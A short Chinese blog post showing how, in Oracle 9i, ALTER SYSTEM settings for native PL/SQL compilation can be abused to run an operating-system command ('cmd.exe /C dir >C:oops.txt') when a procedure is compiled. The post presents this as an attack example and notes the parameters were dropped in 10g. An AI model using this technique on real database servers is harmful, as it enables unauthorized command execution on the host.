首页 > 使用ALTER SYSTEM运行OS命令

使用ALTER SYSTEM运行OS命令

这里举出一个攻击代码例子,你也许会觉得惊奇,抑或认为这是一个运行命令的好办法,是的它很“有用”。 在Oracle 9i中允许采用Oracle本地编译PL/SQL应用程序的方式进行操作。显然,可以利用这一点来运行OS命令: SQL> alter system set plsql_native_make_utility='cmd.exe /C dir >C:oops.txt &'; SQL> alter system set plsql_native_make_file_name=' foo'; SQL> alter system set plsql_native_library_dir='bee'; 系统已更改。 create or replace PROCEDURE wcg IS BEGIN NULL; END; / show errors 在Oracle编译wcg过程的时候,Oracle会执行下面的代码: cmd.exe /C dir > C:oops.txt -& -f foo bee/RUN_CMD__SYSTEM__0.DLL Oracle10g中 plsql_native_make_utility与plsql_native_make_file_name2个参数已被废弃。

更多相关:

  • 使用 React Native 作为 app 框架,Redux 作为数据层,因此我们需要选用一些支持性的技术和工具: 开源的 Parse Server 做数据存储 - 运行在 Node.js 上。Flow 用来做 React Native 的 JavaScript 输入错误检查,防止低级的输入错误。使用 Jest framework...

  • 比较详细的教程参见以前的博文 http://blog.csdn.net/tao_627/article/details/60957521 这里只给出简略步骤,没有截图,自始至终使用root操作 目前最新的源码地址 ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/...

  • 继续翻译 5.7.4 The `--print-directory' Option ------------------------------------If you use several levels of recursive `make' invocations, the `-w' or `--print-directory...

  • 1、 make 时钟错误 make: Warning: File `Makefile' has modification time 4.6e+07 s in the future make: 警告:检测到时钟错误。您的创建可能是不完整的。 解决方法:运行下列命令再makefind . -type f -exec touch {} ;...